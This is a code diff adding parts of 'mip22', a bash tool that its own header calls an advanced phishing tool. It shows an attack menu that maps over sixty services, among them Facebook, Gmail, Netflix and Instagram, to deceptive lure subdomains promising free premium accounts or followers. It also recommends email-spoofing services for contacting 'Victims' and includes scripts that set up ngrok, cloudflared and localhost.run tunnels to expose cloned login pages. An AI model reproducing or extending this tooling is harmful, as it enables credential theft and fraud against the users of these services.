+		8)
+			site="deviantart"
+			subdomain='http://deviantart-upgrade-account-pro-for-free'
+			tunnel;;
+		
+		
+		9)
+			site="discord"
+			subdomain='http://discord-upgrade-account-pro-for-free'
+			tunnel;;
+		
+		
+		10)
+			site="dota2"
+			subdomain='http://dota-upgrade-account-pro-for-free'
+			tunnel;;
+					
+			
+		11)
+			site="dropbox"
+			subdomain='http://get-2TB-cloud-storage-free'
+			tunnel;;	
+
+
+        12)
+			site="ebay"
+			subdomain='http://ebay-upgrade-account-for-free'
+			tunnel;;
+
+
+		13)
+		    site="facebook"
+			subdomain='http://secure-verified-account-for-facebook'
+			tunnel;;	
+			
+			
+		14)
+			site="facebook_messenger"
+			subdomain='http://messenger-premium-features-for-free'
+			tunnel;; 	
+			
+          
+        15)
+            site="facebook_security"
+			subdomain='http://make-your-facebook-secured-from-hackers'
+			tunnel;;  
+
+	     
+	    16)		
+	 		site="gmail"
+			subdomain='http://get-unlimited-google-drive-free'
+			tunnel;;
+			
+			
+	    17)		
+	 		site="goodreads"
+			subdomain='http://goodreads-updrade-account-lifetime-free'
+			tunnel;;
+	   		
+	   		
+	    18)
+			site="hotstar"
+			subdomain='http://hotstar-premieum-account-for-free'
+			tunnel;;		
+	   		
+	   	
+	   	19)
+			site="icloud"
+			subdomain='http://get-2TB-cloud-storage-free'
+			tunnel;;		
+	   	
+	   	
+	   	20)
+			site="influenster"
+			subdomain='http://update-account-to-premium-free'
+			tunnel;;		
+	   	
+	   		
+	    21)
+			site="instagram"
+			subdomain='http://secure-login-for-instagram'
+			tunnel;;
+			
+			
+	    22)
+		    site="instagram_followers"
+			subdomain='http://get-10000-followers-for-instagram'
+			tunnel;;			
+			
+	 
+	    23)
+			site="instagram_followers_2"
+			subdomain='http://get-10000-followers-for-instagram'
+			tunnel;;		
+		
+		
+	    24)
+			site="instagram_verify"
+			subdomain='http://instagram-verify-account'
+			tunnel;;
+			
+			
+	    25)
+			site="line"
+			subdomain='http://line-get-free-tokens-for-speech'
+			tunnel;;
+					
+			
+	    26)
+			site="linkedin"
+			subdomain='http://get-a-premium-plan-for-linkedin-free'
+			tunnel;;
+		
+		
+	    27)
+			site="livejournal"
+			subdomain='http://get-a-premium-plan-for-livejournal-free'
+			tunnel;;
+		
+		
+		28) 
+            site="mediafire"
+			subdomain='http://get-2TB-cloud-storage-free'
+			tunnel;;
+		
+		
+		29)
+			site="mewe"
+			subdomain='http://mewe-update-account-to-premium-free'
+			tunnel;;		
+	   	
+			
+	   30) 
+            site="microsoft"
+			subdomain='http://unlimited-onedrive-space-for-free'
+			tunnel;;	
+		
+	   31)  
+	        site="mocospace"
+			subdomain='http://upgrade-your-mocospace-plan-free'
+			tunnel;;
+		
+			
+	   32)  
+	        site="myspace"
+			subdomain='http://upgrade-your-myspace-plan-free'
+			tunnel;;
+			
+		
+	   33)
+	        site="netflix"
+			subdomain='http://upgrade-your-netflix-plan-free'
+			tunnel;;	
+			
+	   34)
+	        site="origin"
+			subdomain='http://origin-upgrade-to-premium-account-free'
+			tunnel;;	
+		
+		
+	   35)  
+	        site="outlook"
+			subdomain='http://unlimited-onedrive-space-for-free'
+			tunnel;;	
+			
+	   36)  
+	        site="pinterest"
+			subdomain='http://get-a-premium-plan-for-pinterest-free'
+			tunnel;;	
+			
+	
+	   37)  
+	        site="playstation"
+			subdomain='http://playstation-premium-account-free'
+			tunnel;;		
+				
+					
+       38)  
+	        site="protonmail"
+			subdomain='http://protonmail-pro-basics-for-free'
+			tunnel;;
+		
+		
+	   39)  
+	        site="pubg"
+			subdomain='http://get-free-character-for-pubs-game'
+			tunnel;;	
+			
+			
+	   40)  
+	        site="quora"
+			subdomain='http://get-quora-premium-account-for-free-lifetime'
+			tunnel;;	
+			
+			
+	   41)  
+	        site="raverly"
+			subdomain='http://get-raverly-premium-account-for-free-'
+			tunnel;;	
+			
+			
+	   42)  
+	        site="reddit"
+			subdomain='http://reddit-official-verified-member-badge'
+			tunnel;;		
+				
+				
+	   43)  
+	        site="reverbnation"
+			subdomain='http://get-reverbnation-premium-account-for-free-'
+			tunnel;;	
+		
+		
+	   44)
+			site="signal"
+			subdomain='http://signal-get-free-tokens-for-speech'
+			tunnel;;	
+		
+		
+	   45)
+			site="skype"
+			subdomain='http://skype-get-free-tokens-for-speech'
+			tunnel;;	
+		
+		
+	   46)
+	        site="skyrock"
+			subdomain='http://skyrock-upgrade-to-premium-account-free'
+			tunnel;;	
+				
+					
+       47)  
+	        site="snapchat"
+			subdomain='http://view-locked-snapchat-accounts-secretly'
+			tunnel;;
+		
+	   48)  
+	        site="socialclub"
+			subdomain='http://-socialclub-update-account-to-premieum-free'
+			tunnel;;		
+		
+			
+	   49)  
+	        site="spotify"
+			subdomain='http://convert-your-account-to-spotify-premium'
+			tunnel;;		
+		
+		
+	   50)  
+	        site="stackoverflow"
+			subdomain='http://stackoverflow-convert-your-account-to-premium'
+			tunnel;;		
+			
+		
+	   51)  
+	        site="steam"
+			subdomain='http://steam-convert-your-account-to-premium'
+			tunnel;;		
+				
+	   52)  
+	        site="tagget"
+			subdomain='http://tagget-convert-your-account-to-premium'
+			tunnel;;		
+		
+			
+	   53)  
+	        site="telegram"
+			subdomain='http://telegram-get-free-tokens-for-speech'
+			tunnel;;	
+	
+	
+	   54)  
+	        site="tiktok"
+			subdomain='http://get-tiktok-100000-followers-free-at-instant'
+			tunnel;;
+	
+			
+	   55)  
+	        site="tiktok_followers"
+			subdomain='http://get-tiktok-100000-followers-free-at-instant'
+			tunnel;;
+					
+		
+	   56)  
+	        site="tumblr"
+			subdomain='http://tumblr-upgrade-account-to-premium-free'
+			tunnel;;
+		
+					
+       57)  
+	        site="twitch"
+			subdomain='http://unlimited-twitch-tv-user-for-free'
+			tunnel;;
+			
+			
+	   58)  
+	        site="twitter"
+			subdomain='http://get-blue-badge-on-twitter-free'
+			tunnel;;									
+		
+		
+	   59)  
+	        site="viber_out"
+			subdomain='http://viber-get-free-tokens-for-speech'
+			tunnel;;	
+		
+		
+	   60)  
+	        site="vimeo"
+			subdomain='http://get-100000-views-for-channel-free'
+			tunnel;;
+		
+			
+			
+	   61)  
+	        site="vk"
+			subdomain='http://vk-premium-real-method-2022-free'
+			tunnel;;		
+			
+					
+       62)  
+	        site="whatsapp"
+			subdomain='http://get-3000-free-tokens-for-free'
+			tunnel;;
+			
+			
+	   63)  
+	        site="wordpress"
+			subdomain='http://get-unlimited-wordpress-traffic-free'
+			tunnel;;
+	 	
+	 	
+	   64)  
+	        site="xanga"
+			subdomain='http://xanga-update-account-to-premieum'
+			tunnel;;	
+	 	
+	 	
+	   65)  
+	        site="xbox"
+			subdomain='http://xbox-premium-account-new-method-2022'
+			tunnel;;
+		
+	  
+	   66)  
+	        site="xing"
+			subdomain='http://xing-update-account-to-premieum'
+			tunnel;;	
+	 		
+				
+	 		
+	   67)  
+	        site="yahoo"
+			subdomain='http://grab-mail-from-anyother-yahoo-account-free'
+			tunnel;;
+			
+	   68)  
+	        site="yandex"
+			subdomain='http://grab-mail-from-anyother-yandex-account-free'
+			tunnel;;		
+		
+	   
+	   69)  
+	        site="youtube_subs"
+			subdomain='http://get-100000-youtube-subscribers-free'
+			tunnel;;	
+			
+	
+	   #70)  
+	        #setup_clone_manual
+	        #tunnel;;
+	        
+	        
+	   99) menu;;
+	    
+	        
+	   *)
+			echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${RED} Invalid Option, Try Again..."
+			{ sleep 0.7; attack;};;
+	  
+	esac
+
+
+}
+
+
+
+
+attack_manual() {
+
+ subdomain='http:secure-login-page'
+ tunnel_manual
+  
+}
+
+
+
+
+email() {
+
+{ clear; header; echo; }
+
+    echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Use this services for send email to Victims \n"
+   
+    echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${CYAN} https://www.guerrillamail.com/ \n"
+    echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${CYAN} https://emkei.cz/ ${MAGENTA} (recommended) \n"
+    echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${CYAN} https://mailspre.com/ \n"
+    echo -ne "\n\n"
+    
+    
+    cat <<- EOF
+		${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
+		
+		
+	EOF
+	
+	read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select an option : ${WHITE}"${WHITE}
+
+	case $REPLY in 
+	    
+	    99) menu;; 
+	    
+	    *)
+			echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
+			{ sleep 0.7; email;};;
+	  
+	esac
+
+
+	
+
+}	
+
+
+
+
+menu() {
+ 
+ { clear; header; echo; }
+
+	cat <<- EOF
+		${GREEN}[${WHITE}1${GREEN}]${CYAN} Attack Default
+		${GREEN}[${WHITE}2${GREEN}]${CYAN} Attack Manual
+		${GREEN}[${WHITE}3${GREEN}]${CYAN} Apis
+		${GREEN}[${WHITE}4${GREEN}]${CYAN} Email
+		${GREEN}[${WHITE}5${GREEN}]${CYAN} Vpn
+		${GREEN}[${WHITE}6${GREEN}]${CYAN} Sound (pc only)
+		${GREEN}[${WHITE}0${GREEN}]${ORANGE} Exit
+		
+		
+	EOF
+	
+	read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select an option : ${WHITE}"${WHITE}
+
+	case $REPLY in 
+	    
+	    1) attack;; 
+	    
+	    2) attack_manual;; 
+	      			
+	    3) apis;;
+	    
+	    4) email;;
+	    
+	    5) vpn_setup;;
+	    
+	    6) play_music;;
+	    
+	    help) help;;
+	      				
+		0)
+		echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${ORANGE} Thanks for using mip22 "${WHITE}
+		sleep 2
+		clear
+		exit 1;;
+		
+	    *)
+			echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
+			{ sleep 0.7; menu;};;
+	  
+	esac
+	
+}	
+
+
+check_os_and_install_packages
+check_root_and_os
+pid_kill
+menu

+ 75 - 0
packages.sh

@@ -0,0 +1,75 @@
+#install packages
+
+
+#
+#  Copyright (c) 2022 Barchampas Gerasimos <makindosxx@gmail.com>.
+#  mip22 is a advanced phishing tool.
+#
+#  mip22 is free software: you can redistribute it and/or modify
+#  it under the terms of the GNU Affero General Public License as published by
+#  the Free Software Foundation, either version 3 of the License, or
+#  (at your option) any later version.
+#
+#  mip22 is distributed in the hope that it will be useful,
+#  but WITHOUT ANY WARRANTY; without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#  GNU Affero General Public License for more details.
+#
+#  You should have received a copy of the GNU Affero General Public License
+#  along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#
+#
+
+
+# Terminal Colors
+
+RED="$(printf '\033[31m')"  
+GREEN="$(printf '\033[32m')"  
+ORANGE="$(printf '\033[33m')"  
+BLUE="$(printf '\033[34m')"
+MAGENTA="$(printf '\033[35m')"  
+CYAN="$(printf '\033[36m')"  
+WHITE="$(printf '\033[37m')" 
+BLACK="$(printf '\033[30m')"
+
+
+	echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing required packages..."
+
+    if [[ -d "/data/data/com.termux/files/home" ]]; then
+        if [[ `command -v proot` ]]; then
+            printf ''
+        else
+			echo -e "\n${GREEN}[${WHITE}+${GREEN}]${MAGENTA} Installing package : ${CYAN}proot${CYANMAGENTA}"${WHITE}
+            pkg install proot resolv-conf -y
+        fi
+    fi
+
+
+	if [[ `command -v php` && `command -v wget` && `command -v curl` && `command -v unzip` ]]; then
+		echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Mip packages already installed." 
+		sleep 1
+	
+	else	
+				echo -e "\n${GREEN}[${WHITE}+${GREEN}]${MAGENTA} Installing package : ${CYAN}$pkg${MAGENTA}"${WHITE}
+				
+				if [[ `command -v pkg` ]]; then
+					pkg install figlet php curl wget unzip mpv -y
+				
+				elif [[ `command -v apt` ]]; then
+					apt install figlet php curl wget unzip mpv -y
+					
+				elif [[ `command -v apt-get` ]]; then
+					apt-get install figlet php curl wget unzip mpv -y
+					
+				elif [[ `command -v pacman` ]]; then
+					sudo pacman -S figlet php curl wget unzip mpv --noconfirm
+					
+				elif [[ `command -v dnf` ]]; then
+					sudo dnf -y install figlet php curl wget unzip mpv
+					
+				else
+					echo -e "\n${RED}[${WHITE}!${RED}]${RED} Unsupported package manager, Install packages manually."
+					{ sleep 2; exit 1; }
+				fi
+			
+	fi

+ 178 - 0
tunnels.sh

@@ -0,0 +1,178 @@
+#!/bin/bash
+
+
+#
+#  Copyright (c) 2022 Barchampas Gerasimos <makindosxx@gmail.com>.
+#  mip22 is a advanced phishing tool.
+#
+#  mip22 is free software: you can redistribute it and/or modify
+#  it under the terms of the GNU Affero General Public License as published by
+#  the Free Software Foundation, either version 3 of the License, or
+#  (at your option) any later version.
+#
+#  mip22 is distributed in the hope that it will be useful,
+#  but WITHOUT ANY WARRANTY; without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#  GNU Affero General Public License for more details.
+#
+#  You should have received a copy of the GNU Affero General Public License
+#  along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#
+#
+
+
+
+# Terminal Colors
+
+RED="$(printf '\033[31m')"  
+GREEN="$(printf '\033[32m')"  
+ORANGE="$(printf '\033[33m')"  
+BLUE="$(printf '\033[34m')"
+MAGENTA="$(printf '\033[35m')"  
+CYAN="$(printf '\033[36m')"  
+WHITE="$(printf '\033[37m')" 
+BLACK="$(printf '\033[30m')"
+
+
+echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing required tunnels."
+
+
+# Ngrok Download
+get_ngrok() {
+	
+	url="$1"
+	file=`basename $url`
+	
+	if [[ -e "$file" ]]; then
+		rm -rf "$file"
+	fi
+	
+	wget --no-check-certificate "$url" > /dev/null 2>&1
+	
+	if [[ -e "$file" ]]; then
+		unzip "$file" > /dev/null 2>&1
+		mv -f ngrok .host/ngrok > /dev/null 2>&1
+		rm -rf "$file" > /dev/null 2>&1
+		chmod +x .host/ngrok > /dev/null 2>&1
+		
+	else
+		echo -e "\n${RED}[${WHITE}!${RED}]${RED} Error, Install Ngrok manually."
+		{ clear; exit 1; }
+	fi
+}
+
+
+# Cloudflared Download
+get_cloudflared() {
+	
+	url="$1"
+	file=`basename $url`
+	if [[ -e "$file" ]]; then
+	
+		rm -rf "$file"
+	fi
+	
+	wget --no-check-certificate "$url" > /dev/null 2>&1
+	
+	if [[ -e "$file" ]]; then
+		mv -f "$file" .host/cloudflared > /dev/null 2>&1
+		chmod +x .host/cloudflared > /dev/null 2>&1
+		
+	else
+		echo -e "\n${RED}[${WHITE}!${RED}]${RED} Error, Install Cloudflared manually."
+		{ clear; exit 1; }
+	fi
+}
+
+
+
+
+# Download and install Ngrok
+
+ngrok_download_and_install() {
+
+	if [[ -e ".host/ngrok" ]]; then
+		echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Ngrok already installed. Setup your api from menu."
+		sleep 1
+	
+	else
+	
+		echo -e "\n${GREEN}[${WHITE}+${GREEN}]${MAGENTA} Downloading and Installing ngrok..."${WHITE}
+		
+		architecture=$(uname -m) 
+		
+		if [[ ("$architecture" == *'arm'*) || ("$architecture" == *'Android'*) ]]; then
+			get_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip'
+			
+		elif [[ "$architecture" == *'aarch64'* ]]; then
+			get_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm64.zip'
+			
+		elif [[ "$architecture" == *'x86_64'* ]]; then
+			get_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip'
+			
+		else
+			get_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip'
+		fi
+	fi
+
+}
+
+
+
+
+# Download and install Cloudflared 
+
+cloudflared_download_and_install() {
+	
+	if [[ -e ".host/cloudflared" ]]; then
+		echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Cloudflared already installed."
+		sleep 1
+	
+	else
+	
+		echo -e "\n${GREEN}[${WHITE}+${GREEN}]${MAGENTA} Downloading and Installing Cloudflared..."${WHITE}
+		
+		architecture=$(uname -m)
+		
+		if [[ ("$architecture" == *'arm'*) || ("$architecture" == *'Android'*) ]]; then
+			get_cloudflared 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm'
+		
+		elif [[ "$architecture" == *'aarch64'* ]]; then
+			get_cloudflared 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64'
+		
+		elif [[ "$architecture" == *'x86_64'* ]]; then
+			get_cloudflared 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64'
+		
+		else
+			get_cloudflared 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386'
+		fi
+	fi
+
+}
+
+
+
+
+
+# Download and install Localhostrun
+
+localhostrun_download_and_install() {
+	if [[ `command -v ssh -R 80:localhost:8080 nokey@localhost.run` ]]; then
+		echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} LocalhostRun already installed."
+		sleep 1
+	
+	else
+	
+		echo -e "\n${GREEN}[${WHITE}+${GREEN}]${MAGENTA} Downloading and Installing LocalhostRun..."${WHITE}
+		
+		ssh -R 80:localhost:8080 nokey@localhost.run
+	fi 	
+   
+}
+
+
+
+
+ngrok_download_and_install
+cloudflared_download_and_install
+localhostrun_download_and_install